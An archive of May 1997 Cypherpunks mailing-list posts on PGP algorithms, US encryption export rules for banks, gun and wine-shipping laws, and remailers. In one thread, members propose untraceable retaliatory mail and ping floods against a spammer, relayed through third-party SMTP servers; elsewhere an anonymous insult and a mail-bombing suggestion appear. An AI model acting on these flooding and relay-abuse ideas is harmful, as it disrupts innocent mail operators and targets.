PGP4.5 (which has been exported, was on ftp://ftp.replay.com last I
looked) seems to use RSA still.  It has the added functionality of a
windows front end, separate signing and encryption keys, and expiry
dates on keys.

Adam






From nobody at REPLAY.COM  Fri May  9 04:02:01 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Fri, 9 May 1997 19:02:01 +0800
Subject: [ADMINISTRATIVIUM] Cyclic codes
Message-ID: <199705091047.MAA04212@basement.replay.com>


There's a rumor that Timmy May sells his dead relatives as fertilizer as 
they constitute the best shit in California.

         <<<<
        o(0-0)o
     -ooO-(_) Ooo-- Timmy May






From jya at pipeline.com  Fri May  9 04:56:09 1997
From: jya at pipeline.com (John Young)
Date: Fri, 9 May 1997 19:56:09 +0800
Subject: EAR Revisions
Message-ID: <1.5.4.32.19970509113532.008952dc@pop.pipeline.com>


BXA has published in today's Federal Register a final
rule for revisions and clarifications to all Parts of the EAR. 
Encryption is affected.

   http://jya.com/ear050997.txt  (123K)






From ariel at watsun.cc.columbia.edu  Fri May  9 06:45:44 1997
From: ariel at watsun.cc.columbia.edu (Ariel Glenn)
Date: Fri, 9 May 1997 21:45:44 +0800
Subject: nyt coverage of 'new' US export policy
Message-ID: 


   
      May 9, 1997
      
     
U.S. To Ease Rules on Export
Of Finance Encryption Technology

      By JOHN MARKOFF
      
                                      
    G iving ground on the Clinton administration's computer-data privacy
    policy, the Commerce Department said Thursday that it would begin in
      some cases to allow export of the most powerful data-scrambling
        technologies when used for securing financial transactions.
                                      
   The move departs from previous export policy, which had allowed export
      of the U.S. computer industry's most powerful privacy-protection
    software and hardware only if the technology enabled law-enforcement
    officials to obtain copies of the mathematical keys needed to break
     the codes. The revised policy would require no such code-breaking
      proviso in the case of certain types of financial transactions.
                                      
      Besides international funds transfers between banks, permissible
         applications under the new policy are expected to include
       privacy-protected home-banking software for banks to offer to
    customers worldwide. The new policy would also apply to a technology
    known as the Secure Electronic Transaction standard, which has been
    developed by Mastercard and Visa to permit consumers to send credit
               card information to merchants electronically.
                                      
   Computer-data scrambling, or cryptography, is widely seen as the most
       crucial technology underlying a wide range of new computerized
         communications and commerce applications. But the Clinton
   administration, as did the Bush administration, has limited export of
   the most powerful U.S. encryption technology, for fear it would enable
   foreign criminals or terrorists to conspire with electronic impunity.
                                      
   Privacy-rights advocates have opposed the government's policy, fearing
    Big Brother intrusiveness if law-enforcement officials could obtain
         code keys. And industry officials have argued that because
    data-scrambling technology is already widely available overseas, the
      export laws have forced U.S. companies to miss out on a thriving
                              foreign market.
                                      
     Banks and other financial institutions, meanwhile, have complained
       that the policies made it difficult to insure the security of
      electronic-funds transfers between the United States and foreign
                                 countries.
                                      
         But word of the new rules drew concern from critics of the
      administration's data-scrambling policies, who said the banking
             industry would receive unfair business advantages.
                                      
    "There is a danger of creating a cartel-like environment that gives
      banks advantages over many of the current leaders in electronic
   commerce," said Laurie Fena, the executive director of the Electronic
        Frontier Foundation, a public policy group in San Francisco.
                                      
   Historically, U.S. banking and financial institutions have been given
    special exemptions to export data-scrambling equipment based on the
   20-year-old Data Encryption Standard. But the big increase in computer
       processing power in recent years has made that standard appear
   increasingly vulnerable, and the government has been under pressure to
      permit the export of strong encryption technology for financial
                                 purposes.
                                      
    Administration officials said the new rules would be published soon.
       Until then, it is unclear whether the definition of financial
      institutions and transactions may now be broad enough to include
   software makers like Netscape Communications Corp., which produces the
    most popular software for navigating the Internet's World Wide Web.
     _________________________________________________________________
                                      
                              Related Articles
                    IBM Announces New Encryption Formula
                                (May 7,1997)
                                      
             U.S. Restrictions Give European Encryption a Boost
                               (April 7,1997)
     _________________________________________________________________
                                      
     Netscape's software has a component for insuring secure financial
      transactions; but under current export law, that ability must be
      weakened or disabled when its Web-navigating software is shipped
                                 overseas.
                                      
   "It's very heartening to see the administration finally admitting that
    there are products overseas that are cutting into our markets," said
       Peter Harter, the lawyer in charge of global public policy for
    Netscape. "It's unfortunate to have to watch this happening from the
                             back of the bus."
                                      
                                      
            Home | Sections | Contents | Search | Forums | Help
                                      
                 Copyright 1997 The New York Times Company
                                      
     _________________________________________________________________
                                      
                                      
                              IBM WWWDirectory






From ariel at watsun.cc.columbia.edu  Fri May  9 06:48:31 1997
From: ariel at watsun.cc.columbia.edu (Ariel Glenn)
Date: Fri, 9 May 1997 21:48:31 +0800
Subject: El Gamal
Message-ID: 


>> Is El Gamal used in the source for PGP 3.0?
>
>I don't know, no one's exported the source to pgp3.0 in electronic
>form, and I haven't seen the books either.  

I have the books; ElGamal is indeed one of the algorithms in use
in the 3.0 pre-alpha code.

Ariel Glenn / AcIS R&D / Columbia University
ariel at columbia.edu
#include 






From whgiii at amaranth.com  Fri May  9 06:51:41 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Fri, 9 May 1997 21:51:41 +0800
Subject: "constructive" possession of a gun
Message-ID: <199705091336.IAA30148@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----


Senate Judiciary Committe -- 08 May 1997

Well the JackBoots are at it again.

Under current Federal Law 5yrs can be tacked on to a criminal sentance if a
gun is used in the commision of a crime. Now they have a new twist to add:
"constructive" possession of a gun during the commision of a crime.

Now what does "constructive" possession mean?

Well according to those who testified from the various depts of the
Excutive Branch it means that a gun happens to be in the area, or the
potential to use a gun or if you recoment that someone else use a gun
durring the commission of a crime even though the weapon was never used.

Some examples given:

If durring the planning of a bank robbery you recomend that a gun be used
durring the robbery even though you did not use the weapon or was not even
present durring the robbery you could still get the extra 5yrs.

If durring a drug deal taking place in the back seat of a car there is a
gun under the front seat of the car you would still get the extra 5yrs even
though the the gun was never used.

If durring a drug raid on your home and a gun is found anywhere in the
house, yes you would be elegible for the extra 60 months.

 why do they even pretend to be running a constitutional government?

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: "640K ought to be enough for anybody." - Bill Gates, 1981

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Tag-O-Matic: OS/2 means...CURTAINS for Windows!






From spectre at nac.net  Fri May  9 07:04:34 1997
From: spectre at nac.net (The Spectre)
Date: Fri, 9 May 1997 22:04:34 +0800
Subject: Spam Update/Cyber Promo attacked
Message-ID: <13435979406834@nac.net>


-----BEGIN PGP SIGNED MESSAGE-----

Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

To: cypherpunks at toad.com
Date: Fri May 09 09:48:11 1997

> > Like I said, it's more of a passive agressive thing.  If I were to 
> > come across a page that said "Click here to spam some spammers" and 
> > that's all I had to do, why wouldn't I take 2 seconds of my time to 
> > do it?  That's
> 
> Can you think of a way to have it originate at the browser's machine, 
> not your machine? Perhaps an activex program for w95 :-)
java program/script could do this as well.

> > certainly less time than it takes to go through the amount of spam in 
> > my mail each day.
> 
> I suggest you learn to filter your e-mail.
Hmmm... I'm hearing a lot of "you have a right so long as it doesn't 
interfere with me" kind of talk here... if the gentleman has a right to 
spam, then this person as the same right to spam him back.. I personally 
detest getting crap like the guy sent in my mailbox.. filtering doesn't 
stop it from wasting bandwidth.

> > And who cares if the pings/emails are coming from my site?  For the 
> > email version I just add a header that says something to the effect 
> > of "This email was sent to you on behalf of someone at $REMOTE_HOST" 
> > and set the
> 
> You could also try an html form whose actions send mailto:your at enemy
yup.

> 
> > Return-Path to .  At that point, how can you prove 
> > that it was sent by your script or just by someone using your SMTPd?
> 
> He'll just filter out your site.  Wallace has some very smart
> people working with him.
Maybe he needs some smarter people working "against" him.. this has 
potential to get fun.

The Spectre
spectre at nac.net
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From ariel at watsun.cc.columbia.edu  Fri May  9 07:05:41 1997
From: ariel at watsun.cc.columbia.edu (Ariel Glenn)
Date: Fri, 9 May 1997 22:05:41 +0800
Subject: Wired coverage of 'new' admin rules
Message-ID: 


Quite a different spin on it in this article...

----


   Banks' Crypto Permit Not as Free as It Looks
   by Kristi Coale
   
   6:12pm  8.May.97.PDT When the Commerce Department on Thursday gave its
   blessing to the export of the strongest available encryption products
   for electronic banking and finance, the Clinton administration wasn't
   really giving any ground on its stance on key recovery.
   
   That's because the likely customers for these products - banks and
   financial institutions - are already subject to tough rules when it
   comes to tracking transactions and accounts to individuals. And these
   institutions are legally bound to share this information with the
   authorities.
   
   Given the scope of current regulation, the Commerce Department's key
   recovery requirement would only be duplicative, a department
   spokesperson said.
   
   That's why banks have been allowed to export government-approved Data
   Encryption Standard technology since the early 1980s. And that's why
   they'll now be able to use stronger encryption to secure transactions,
   including account and credit card numbers. The government standard has
   a fixed-key length of 56 bits; encryption being readied for electronic
   commerce such as Secure Electronic Transaction can have keys of 1,024
   bits and longer. It is assumed that it would take years and enormous
   computing power to crack the longer keys.
   
   In remarks Thursday before a Washington gathering of the American
   Bankers Association, Undersecretary William Reinsch outlined the plan
   which gives banks the ability to export direct-home-banking products
   with encryption keys of unlimited length. However, if a commercial
   software company - and not the bank - develops the banking product,
   the program must meet the administration's requirement for a
   key-recovery plan.
   
   Key recovery provides a "back door" that allows third parties to open
   and read electronic transmissions such as email. Under the
   administration's plan, these keys would be stored with
   government-sanctioned escrow agents such as Trusted Information
   Systems, a computer security firm, or Bankers Trust, a bank holding
   company. With these keys, police, prosecutors, and spy agencies with
   court orders can get access to any message or document.
   
   But privacy advocates distrust this system. To organizations like the
   Electronic Privacy Information Center, key recovery is no different
   from the administration's plans for government access under the failed
   Clipper initiatives.
   
   And given the current level of regulation, exempting the financial
   institutions from the key-recovery requirements represents a mere "fig
   leaf of a concession" on administration policy, said Dave Banisar,
   EPIC staff counsel.
   
   Developers have their own concerns about the Commerce Department
   announcement - namely, that by telling companies seeking to sell
   electronic commerce software to banks that they must include key
   escrow in their products, the administration is playing to prominent a
   role in the process.
   
   Companies such as Hewlett-Packard which support key escrow prefer to
   implement it in products where it makes business sense for them to do
   so, said Fred Mailman, the company's regulatory manager. Mailman is
   worried that the door may now be open for the government to tell
   companies what product families will have key recovery instead of the
   companies choosing themselves.
   
   While companies sort this out, the pressure on the industry to
   capitulate to the administration's key recovery plan increases,
   Mailman said.
   
   
   
   Related Wired Links:
   Netscape's Key Recovery: That's Business
   by Michael Stutz
   
   Law and Order and a Crypto Bill
   by Rebecca Vesely
   
   Andreessen: Market, Not Policy, Pushes Crypto
   by Michael Stutz
   
   arrow
   
   [INLINE]
   Find Read a story in the Wired News archive.
   Feedback Let us know how we're doing.
   Tips Have a story or tip for Wired News? Send it.

   
   
        Copyright ) 1993-97 Wired Ventures, Inc. and affiliated companies.
        All rights reserved.






From shabbir at democracy.net  Fri May  9 08:22:59 1997
From: shabbir at democracy.net (Shabbir Safdar)
Date: Fri, 9 May 1997 23:22:59 +0800
Subject: EVENT: Two big events you can be a part of at democracy.net on May 13!
Message-ID: <199705091506.LAA22844@panix3.panix.com>


=========================================================================
     _                                                             _
  __| | ___ _ __ ___   ___   ___ _ __ __ _  ___ _   _   _ __   ___| |_
 / _` |/ _ \ '_ ` _ \ / _ \ / __| '__/ _` |/ __| | | | | '_ \ / _ \ __|
| (_| |  __/ | | | | | (_) | (__| | | (_| | (__| |_| |_| | | |  __/ |_
 \__,_|\___|_| |_| |_|\___/ \___|_|  \__,_|\___|\__, (_)_| |_|\___|\__|
                                                |___/
                         Government Without Walls

Update No.7              http:/www.democracy.net/              May 8 1997

_________________________________________________________________________
Table of Contents

 - democracy.net needs your help!
 - Internet Caucus field hearing @ Library of Congress: May 13, 3-5pm Eastern
 - Live Town Hall Meeting with FCC Chairman Reed Hundt: May 13, 7pm Eastern
 - In our archive
 - About democracy.net / Subscription and Unsubscription Information

___________________________________________________________________________
DEMOCRACY.NET NEEDS YOUR HELP!

On Tuesday May 13, democracy.net will be testifying before the
Congressional Internet Caucus about the use of the Internet for
bringing citizen participation to the democratic process.

We occassionally get letters from all sorts of people who tell us how
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1. Answer the following questions where appropriate.

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2. Send the answers to feedback at democracy.net

___________________________________________________________________________
INTERNET CAUCUS FIELD HEARING @ LIBRARY OF CONGRESS: TUE MAY 13,
    3-5PM EASTERN

One of the most crucial benefits of the Internet is it's ability to
allow government agencies to publish information to the public at a
very low cost.  Numerous examples of how the Internet has
revolutionized access to the democratic process and government exist
today, including:

* The Library of Congress' THOMAS service (http://thomas.loc.gov/) which
  makes available bills and speeches from the Congressional Record,

* The Federal Communications Commission's Daily Digest and Website  
  (http://www.fcc.gov/) which allows citizens to track every issue
  moving through the agency's processes, and

* The National Aeronautics and Space Association's Website (http://www.nasa.gov)
  which has made available photos and other astronomical images available to the
  very taxpayers that funded them.

These projects and others like them have fundamentally changed the way
Americans today keep tabs on their government.  But there's still a
long way to go, and this Internet Caucus field hearing will examine
nine examples of how the Internet is being utilized to make the
government more accessible to Americans.

You can attend this event live by listening to the live audio feed,
submit questions to the Senators and Representatives from the Internet
Caucus for the witnesses who will be there, view live photos from the
hearing room, and discuss the issue with Internet users and
Congressional staffers in interactive chat.

         * Congressional Internet Caucus Hearing - How To Participate *

 DATE:      Tuesday, May 13, 1997
 TIME:      3-5 pm Eastern / noon-2 pm Pacific  (Event will last +/- 90 mins)
 LOCATION:  http://www.democracy.net

In advance of the hearing, please visit http://www.democracy.net for
background information on this issue, including the list of witnesses
who are testifying.  You can also submit questions in advance.

_____________________________________________________________________________
LIVE TOWN HALL MEETING WITH FCC CHAIRMAN REED HUNDT: TUESDAY MAY 13, 7PM ET

During the May 7th Universal Service Proceeding, Internet users submitted
their questions and comments via democracy.net.  On Tuesday May 13, FCC
Chairman Reed Hundt will join democracy.net for a live Virtual Town Hall
meeting to discuss the Universal Service proceeding, respond to Internet
users questions, and discuss other Internet-related issues before the FCC.

This is a great opportunity for Internet users to talk with one of the key
telecommunications policy makers.

       * Online Town Hall Meeting with FCC Commissioner Reed Hundt *
                         * How To Participate *

 DATE:      Tuesday, May 13, 1997
 TIME:      7:00 pm Eastern / 4:00 pm Pacific
 LOCATION:  http://www.democracy.net

Visit http://www.democracy.net/ in advance of the event to submit questions.

Additional information can be found at the FCC home page: http://www.fcc.gov

_______________________________________________________________________________
IN OUR ARCHIVE

* FCC UNIVERSAL SERVICE RULEMAKING FROM MAY 7TH NOW AVAILABLE IN OUR ARCHIVE!

     -FCC Chairman Reed Hundt at May 7th public meeting on Universal Service,
      broadcast by democracy.net!

 You can get the entire audio or text-based transcript of the meeting, or
 selected excerpts, at http://www.democracy.net/archive/05071997/

_______________________________________________________________________________
ABOUT DEMOCRACY.NET / SUBSCRIPTION AND UNSUBSCRIPTION INFORMATION

democracy.net is a joint project of the Center for Democracy and
Technology (CDT) and the Voters Telecommunications Watch (VTW) to explore
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To this end, democracy.net hosts live, interactive cybercasts of
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democracy.net is made possible through the generous support of
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End update no.7                                                    05/08/1997
=============================================================================






From dlv at bwalk.dm.com  Fri May  9 08:27:49 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 9 May 1997 23:27:49 +0800
Subject: Spam Update/Cyber Promo attacked
In-Reply-To: <3.0.1.32.19970508230144.00947a40@gateway.grumman.com>
Message-ID: 


Rick Osborne  writes:

> >I suggest you learn to filter your e-mail.
>
> Actually, this account has adequate filters.  Unfortunately, my employer
> chooses to use Exchange for mail, which has less than astonishing filtering
> capability.  But I appreciate the inference as to my (lack of)
> intelligence.  ;)

Your lack of ethics, rather.  You choose to work for someone who chooses
to use inadequate Microsoft software, and you brandish these choices as
an excuse to interfere with somene's free speech.

> Which is why I originally suggested bypassing the normal sendmail route and
> using straight sockets.  If he blocks my script from connecting directly to
> his smtpd then I use a random smtpd somewhere as a go-between, routing it
> to his smtpd.  He can't (won't) block them all.  Also, this is why I
> recommended making the script small and portable: *anyone* could put it up
> on their site.  He can't block everyone.

Wallace hired some people who are very good (and you know how seldom I
characterize someone as being very good).  I'm fairly confident that
they will withstand whatever attacks these half-brained wannabe hackers
and anti-free-speech hooligans can invent.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From rodger at worldnet.att.net  Fri May  9 08:48:40 1997
From: rodger at worldnet.att.net (Will Rodger)
Date: Fri, 9 May 1997 23:48:40 +0800
Subject: Clinton Admin. to announce new Crypto regs
Message-ID: <3.0.32.19970509112208.00f5b584@postoffice.worldnet.att.net>


-----BEGIN PGP SIGNED MESSAGE-----

At 10:39 PM 5/8/97 +0000, Rick Smith wrote:
>These "new" regulations "to be issued" are scrambling to catch up with
>previous and current practices. It doesn't change things at all.

I disagree. Here's why:

New regs unquestionably do change things for US banks. Right now banks may export nothing stronger than unescrowed DES. Period. So - what do they use the dirt-cheap, insecure Internet for? Nothing terribly important outside the US. One banker from JP Morgan told me yesterday that this was big news for them since they would soon move tons of stuff onto the Net. JPM, you'll recall, does business with huge, multinational institutions. They don't do retail banking. They aren't interested in small deals.

What do you suppose JP Morgan's bill for proprietary network use is each year? How much will they save by moving to the Internet?

It's worth noting, too, that banks and consumer software companies will soon export things like PC banking software with minimal delay.

>This announcement is simply a public acknowledgment that the BXA will look
>favorably on export requests to banks and that someday they'll try to draft
>specific regulations on the subject. Meanwhile you do it by grinding
>through the bureacracy.

It goes beyond banks. It affects any company that writes financial software for use with the banking infrastructire, including companies like CyberCash and Intuit.

Consider this: Last time Cybercash got approval to export it took them 15 months - count 'em - to get approval. OpenMarket had a similar wait. Regs like those may as well prohibit export. Now DOC says similar deals should be routine and take weeks to complete. Regs are supposed to appear soon - within the month, according to Reinsch's deputy. That's a significant change.

Will Rodger
Washington Bureau Chief
Inter at ctive Week
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-----END PGP SIGNATURE-----







From hal at rain.org  Fri May  9 08:52:18 1997
From: hal at rain.org (Hal Finney)
Date: Fri, 9 May 1997 23:52:18 +0800
Subject: El Gamal
Message-ID: <199705091530.IAA00261@crypt.hfinney.com>


The next version of PGP will offer the combination of El Gamal for
encryption and Digital Signature Standard (DSS) for signatures, as
an alternative to RSA.  These are based on the discrete log problem.

El Gamal is really almost the same as Diffie-Hellman.  You have a
secret x, he has a secret y, and together you calculate g^(xy) which
is your shared secret.  With DH you then just use that shared secret
as your message encryption key; with El Gamal you multiply (or xor,
or add...) your key with the shared secret.  PGP uses El Gamal so that
we can send along not only key info but also which algorithm to use for
the message body encryption, and also a checksum.

It is true that El Gamal encrypted messages will be about 128 bytes bigger
than RSA for 1024 bit keys.  DSS on the other hand produces somewhat
smaller signatures than RSA, by about 85-90 bytes.  But neither of these
is really significant in typical applications.

The Diffie-Hellman patent expires September 6, 1997.  I gather that it
would also cover El Gamal since that is a variant.  The Hellman-Merkle
"knapsack" patent, which claims to cover all public key cryptography,
expires October 6, 1997.  After that date, at least some forms of public
key cryptography will be unpatented in the U.S.  The RSA patent expires
September 20, 2000.  It is possible that the next three years will see
greater use of discrete log cryptography because of the patent state,
although RSA has a significant "brand" advantage in the business market.
(This patent info is from "Handbook of Applied Cryptography", from
Menezes et al, which I recommend as a supplement to Schneier.)

Hal






From sunder at brainlink.com  Fri May  9 08:53:00 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Fri, 9 May 1997 23:53:00 +0800
Subject: Spam Update/Cyber Promo attacked
In-Reply-To: <3.0.1.32.19970508230144.00947a40@gateway.grumman.com>
Message-ID: 


On Thu, 8 May 1997, Rick Osborne wrote:

> Actually, this account has adequate filters.  Unfortunately, my employer
> chooses to use Exchange for mail, which has less than astonishing filtering
> capability.  But I appreciate the inference as to my (lack of)
> intelligence.  ;)

Filtering isn't the point.  Just as you have the right to free speech, 
you also have the right to ignore someone else's speech as it is aimed at 
you.  If you don't want Cyberspammo to spam you, they should honor your 
request to take their crap elsewhere.

The problem I have with them is that while they do say "Send email here 
to never be spammed again" it doesn't work.  They don't honor the 
deletion requests.  You wind up on some other dweeb's spam queue also 
from cyberspam. :(

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder at sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From real at freenet.edmonton.ab.ca  Fri May  9 09:06:54 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Sat, 10 May 1997 00:06:54 +0800
Subject: [ADMINISTRATIVIUM] Cyclic codes
In-Reply-To: <199705091047.MAA04212@basement.replay.com>
Message-ID: 


On Fri, 9 May 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to
him.

> There's a rumor that Timmy May sells his dead relatives as fertilizer as 
> they constitute the best shit in California.
> 
>          <<<<
>         o(0-0)o
>      -ooO-(_) Ooo-- Timmy May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From remailer at bureau42.ml.org  Fri May  9 09:12:03 1997
From: remailer at bureau42.ml.org (bureau42 Anonymous Remailer)
Date: Sat, 10 May 1997 00:12:03 +0800
Subject: No Subject
Message-ID: <199705091605.LAA21343@bureau42.ml.org>


::
Subject: Remailers for Dummies?

I'm interested in setting up a remailer (I already have, to a small
degree), but I'm looking for a remailers-howto, something that
covers the issues beyond `mere' compiling. Things like, getting
a Mixmaster and a Type1 remailer to cooperate nicely; how to
minimize complaints and legal hassles. If there's a remailer-
operators list, I'd love to know about that too.

Please address replies to dave at columnist.com - as much as anything,
I'm sending this message through my proto-remailer (based on the
freedom code) to make sure it works :)







From whgiii at amaranth.com  Fri May  9 09:22:03 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sat, 10 May 1997 00:22:03 +0800
Subject: "constructive" possession of a gun
Message-ID: <199705091606.LAA31841@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----


Senate Judiciary Committe -- 08 May 1997

Well the JackBoots are at it again.

Under current Federal Law 5yrs can be tacked on to a criminal sentance if a
gun is used in the commision of a crime. Now they have a new twist to add:
"constructive" possession of a gun during the commision of a crime.

Now what does "constructive" possession mean?

Well according to those who testified from the various depts of the
Excutive Branch it means that a gun happens to be in the area, or the
potential to use a gun or if you recoment that someone else use a gun
durring the commission of a crime even though the weapon was never used.

Some examples given:

If durring the planning of a bank robbery you recomend that a gun be used
durring the robbery even though you did not use the weapon or was not even
present durring the robbery you could still get the extra 5yrs.

If durring a drug deal taking place in the back seat of a car there is a
gun under the front seat of the car you would still get the extra 5yrs even
though the the gun was never used.

If durring a drug raid on your home and a gun is found anywhere in the
house, yes you would be elegible for the extra 60 months.

 why do they even pretend to be running a constitutional government?

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: "640K ought to be enough for anybody." - Bill Gates, 1981

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM3KQGo9Co1n+aLhhAQEHkAQAtBlcEtyXzRNKKI7HtEx0H1glMGmlzN+8
cQD91dlgHhNbN24C5Ixq+hDBvBYWTs0yUY8fHOIgMo5HqQWRr4VMG2yrfcM42vyH
LuhKuldAYem4mKWoEm4wl0LYTxn18r0w/4f5NCT3VN+7aTrrme6QjYkN7BXNr6lU
Mxd1YGeAFzM=
=ZpFe
-----END PGP SIGNATURE-----
 
Tag-O-Matic: Windows is to OS/2 what Etch-a-Sketch is to art.






From rah at shipwright.com  Fri May  9 09:56:52 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sat, 10 May 1997 00:56:52 +0800
Subject: Wine Politics Again!
Message-ID: 




--- begin forwarded text


X-Sender: mcooley at pop.tiac.net
Date: Thu, 08 May 1997 22:25:28
To: dcsb at ai.mit.edu
From: Marianne Cooley 
Subject: Wine Politics Again!
Mime-Version: 1.0
Sender: bounce-dcsb at ai.mit.edu
Precedence: bulk
Reply-To: Marianne Cooley 

This one is not just an Internet message.  In fact, I should probably take
it to my marketing list ;)--but just to keep y'all up to date with the
latest commerce developments.

Marianne

forwarded message:
Hello friends of the Virtual Vineyards and family wineries. Remember the
felony direct shipping law in Georgia I wrote about a few weeks ago? Well,
Governor Miller signed it, unfortunately. Ship a bottle of wine, go to
jail. Amazing.

Here it is again, this time in Florida. The wholesale liquor lobby is
pushing a bill through the state houses making it a felony to ship a bottle
of wine to a Florida consumer. If you believe, as we do, that this is
unreasonable restraint of legitimate commerce, please register your
opposition directly with Governor Chiles. This is not just a Florida issue,
as other states are watching the development of such laws very closely. If
you have friends in Florida please pass this on to them and urge them to act
quickly. The bill will soon be on the governor's desk.

Here is a sample letter for Governor Chiles with several ways to contact
him. Personalize it if you wish, or send it as is:

E-Mail: chilesl at eog.state.fl.us
Fax:  904-487-0801
Phone:  904-488-4441

Governor Lawton Chiles
Office of the Governor
Florida State Capitol,
Talahassee, Florida  32399-0001

Dear Governor Chiles:

I call upon you to veto HB 725 (SB336), the felony direct shipment
bill. This bill is sponsored by the state's Liquor wholesalers in order to
protect their monopoly on wine sold to Florida consumers.  Out-of-state
sellers of wine support Florida Attorney General Butterworth's
counter-proposal, and are willing to register with Florida, pay state excise
and sales taxes and assure that all Florida laws protecting minors are
observed. If HB 725 becomes law, Florida wine consumers' choices of products
will be narrowly limited to the few wines represented by the Liquor
wholesalers and Florida itself will be making a statement that small family
winegrape growers and wineries in over 40 states deserve to go to jail, and
lose their farms and vineyards, if they ship a bottle of wine to a customer
who happens to reside in Florida.  HB 725 is hostile to consumers and
agriculture.

I urge you to use your veto.

Sincerely yours,

Peter D. Granoff, M.S./Virtual Vineyards
http://www.virtualvin.com
800-289-1275
415-938-9463
415-919-1977 fax
3803 East Bayshore Rd., Suite 175
Palo Alto, CA 94303



*********************************************************************

       Marianne Cooley            Internet Special Interest Group
       NetHorizons Unlimited      SigNet.org--where online users meet
       mcooley at nethorizons.com    http://www.signet.org
       617.433.0825

Join "Life at Internet Speed" on www.boston.com Wednesdays from 1-2pm!
For a chat topic reminder, send an email to majordomo at signet.org
and write "subscribe life" (no quotation marks) in the body of the message.

**********************************************************************


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To unsubscribe from the dcsb list, send a letter to: Majordomo at ai.mit.edu
In the body of the message, write:  unsubscribe dcsb
Or, to subscribe,           write:  subscribe dcsb
If you have questions, write to me at Owner-DCSB at ai.mit.edu

--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From rah at shipwright.com  Fri May  9 09:59:59 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sat, 10 May 1997 00:59:59 +0800
Subject: e$: In Vino Veritas
Message-ID: 


I love this prohibition stuff.

First recreational drugs, then guns, then cryptography, then tobbacco, and
now, the grandaddy of all prohibitions, alcohol sales, on the net in
Florida, with good old vino being retreaded as a brand new thin edge of the
tired old wedge of government behavioral control.

Once again, a whole generation of libertines now becomes moralistic in
their old age. Same as it ever was. Remember that the Romantics (Beethoven,
Chopin, the waltzing Strausses, etc.) grew up to become the Victorians (the
temperance, missionary, conservation, and "indian school" movements).


So, maybe it *is* time to move to a country where the average age is under
30. Fortunately, there are a lot of them, thanks to exploding life
expectancy caused by advancing technological progress   and Peale's
"demographic transition". Maybe soon they'll have enough wealth (and
technological creativity) of their own to ignore the increasing
constrictions of what Tim May likes to call the "Terror State". I'd gladly
exchange a moribund environment of backward-looking luddism for a cheerful
attack on the problem of making the future happen, anytime. Unfortunately,
that doesn't look like an option, not just yet, anyway.


The other thing which comes to mind with all this is, of course, financial
cryptography, which, contrary to the opinion of more than a few on the
e-mail lists I'm on, I see as the thin edge of another kind of wedge. It is
financial cryptography which will kill cryptographic prohibition, and,
someday, prohibition of other technologies as well.


Currently, the relaxation of export controls on cryptography is now merely
a cudgel to make us submit to ubiquitous wiretapping, and not for national
security, the original purpose of such controls.

Former National Security Agency Chief Counsel Stewart Baker said at the
Digital Commerce Society of Boston luncheon this Tuesday that the
management of the NSA gave up on succeeding with cryptographic export
controls in 1993, and that their only hope was to enlist Federal Bureau of
Investigation Director Louis Freeh in their efforts by showing him threat
of cryptography to his wiretap apparatus. It's now quite clear that the NSA
is fighting a retreat on strong cryptography, and that they're using Louis
Freeh and the FBI to do it for them.  So, at this point, any residual
attempts by the national security apparatus per se to control exports,
beyond assisting Freeh in slowing down technological progress, is just
regulatory inertia. Still real and very dangerous to anyone who believes in
freedom and privacy, but lacking any further accelleration to move it
forward, once the momentum it already has finally goes away.

In my conversation last year with senior people there, the Financial Crimes
